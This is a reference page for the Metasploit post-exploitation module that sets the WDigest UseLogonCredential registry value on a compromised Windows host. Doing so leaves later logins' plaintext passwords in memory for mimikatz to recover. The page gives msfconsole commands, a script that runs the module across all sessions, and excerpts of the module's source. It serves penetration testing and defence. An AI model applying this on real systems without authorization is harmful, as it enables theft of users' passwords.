Windows Post Manage WDigest Credential Caching - Metasploit


This page contains detailed information about how to use the post/windows/manage/wdigest_caching metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Post Manage WDigest Credential Caching
Module: post/windows/manage/wdigest_caching
Source code: modules/post/windows/manage/wdigest_caching.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

On Windows 8/2012 or higher, the Digest Security Provider (WDIGEST) is disabled by default. This module enables/disables credential caching by adding/changing the value of the UseLogonCredential DWORD under the WDIGEST provider's Registry key. Any subsequent logins will allow mimikatz to recover the plain text passwords from the system's memory.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/manage/wdigest_caching

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/manage/wdigest_caching
msf post(wdigest_caching) > show options
    ... show and set options ...
msf post(wdigest_caching) > set SESSION session-id
msf post(wdigest_caching) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/manage/wdigest_caching")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the windows/manage/wdigest_caching post exploitation module looks in the msfconsole:

msf6 > use post/windows/manage/wdigest_caching

msf6 post(windows/manage/wdigest_caching) > show info

       Name: Windows Post Manage WDigest Credential Caching
     Module: post/windows/manage/wdigest_caching
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Kostas Lintovois <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  ENABLE   true             no        Enable the WDigest Credential Cache.
  SESSION                   yes       The session to run this module on.

Description:
  On Windows 8/2012 or higher, the Digest Security Provider (WDIGEST) 
  is disabled by default. This module enables/disables credential 
  caching by adding/changing the value of the UseLogonCredential DWORD 
  under the WDIGEST provider's Registry key. Any subsequent logins 
  will allow mimikatz to recover the plain text passwords from the 
  system's memory.

Module Options


This is a complete list of options available in the windows/manage/wdigest_caching post exploitation module:

msf6 post(windows/manage/wdigest_caching) > show options

Module options (post/windows/manage/wdigest_caching):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   ENABLE   true             no        Enable the WDigest Credential Cache.
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the windows/manage/wdigest_caching post exploitation module:

msf6 post(windows/manage/wdigest_caching) > show advanced

Module advanced options (post/windows/manage/wdigest_caching):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/manage/wdigest_caching module can do:

msf6 post(windows/manage/wdigest_caching) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/manage/wdigest_caching post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/manage/wdigest_caching) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Older Windows version detected. No need to enable the WDigest Security Provider. Exiting...


Here is a relevant code snippet related to the "Older Windows version detected. No need to enable the WDigest Security Provider. Exiting..." error message:

34:	  def run
35:	    print_status("Running module against #{sysinfo['Computer']}")
36:	    # Check if OS is 8/2012 or newer. If not, no need to set the registry key
37:	    # Can be backported to Windows 7, 2k8R2 but defaults to enabled...
38:	    if sysinfo['OS'] =~ /Windows (XP|Vista|200[03])/i
39:	      print_status('Older Windows version detected. No need to enable the WDigest Security Provider. Exiting...')
40:	    else
41:	      datastore['ENABLE'] ? wdigest_enable : wdigest_disable
42:	    end
43:	  end
44:	

Unable to access registry key: <E>


Here is a relevant code snippet related to the "Unable to access registry key: <E>" error message:

50:	      key_exists = !wdvalue.nil?
51:	
52:	      print_status("#{USE_LOGON_CREDENTIAL} is set to #{wdvalue}") if key_exists
53:	      return wdvalue
54:	    rescue Rex::Post::Meterpreter::RequestError => e
55:	      fail_with(Failure::Unknown, "Unable to access registry key: #{e}")
56:	    end
57:	  end
58:	
59:	  def wdigest_enable
60:	      wdvalue = get_key

Unable to access registry key - insufficient privileges?


Here is a relevant code snippet related to the "Unable to access registry key - insufficient privileges?" error message:

67:	          verb = key_exists ? 'Setting' : 'Creating'
68:	          print_status("#{verb} #{USE_LOGON_CREDENTIAL} DWORD value as 1...")
69:	          if registry_setvaldata(WDIGEST_REG_LOCATION, USE_LOGON_CREDENTIAL, 1, 'REG_DWORD')
70:	            print_good('WDigest Security Provider enabled')
71:	          else
72:	            print_error('Unable to access registry key - insufficient privileges?')
73:	          end
74:	        rescue Rex::Post::Meterpreter::RequestError => e
75:	          fail_with(Failure::Unknown, "Unable to access registry key: #{e}")
76:	        end
77:	      end

Unable to access registry key: <E>


Here is a relevant code snippet related to the "Unable to access registry key: <E>" error message:

70:	            print_good('WDigest Security Provider enabled')
71:	          else
72:	            print_error('Unable to access registry key - insufficient privileges?')
73:	          end
74:	        rescue Rex::Post::Meterpreter::RequestError => e
75:	          fail_with(Failure::Unknown, "Unable to access registry key: #{e}")
76:	        end
77:	      end
78:	  end
79:	
80:	  def wdigest_disable

Unable to access registry key - insufficient privileges?


Here is a relevant code snippet related to the "Unable to access registry key - insufficient privileges?" error message:

88:	          verb = key_exists ? 'Setting' : 'Creating'
89:	          print_status("#{verb} #{USE_LOGON_CREDENTIAL} DWORD value as 0...")
90:	          if registry_setvaldata(WDIGEST_REG_LOCATION, USE_LOGON_CREDENTIAL, 0, 'REG_DWORD')
91:	            print_good('WDigest Security Provider disabled')
92:	          else
93:	            print_error('Unable to access registry key - insufficient privileges?')
94:	          end
95:	        rescue Rex::Post::Meterpreter::RequestError => e
96:	          fail_with(Failure::Unknown, "Unable to access registry key: #{e}")
97:	        end
98:	      end

Unable to access registry key: <E>


Here is a relevant code snippet related to the "Unable to access registry key: <E>" error message:

90:	          if registry_setvaldata(WDIGEST_REG_LOCATION, USE_LOGON_CREDENTIAL, 0, 'REG_DWORD')
91:	            print_good('WDigest Security Provider disabled')
92:	          else
93:	            print_error('Unable to access registry key - insufficient privileges?')
94:	          end
95:	        rescue Rex::Post::Meterpreter::RequestError => e
96:	          fail_with(Failure::Unknown, "Unable to access registry key: #{e}")
97:	        end
98:	      end
99:	  end
100:	end

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Kostas Lintovois <kostas.lintovois[at]mwrinfosecurity.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.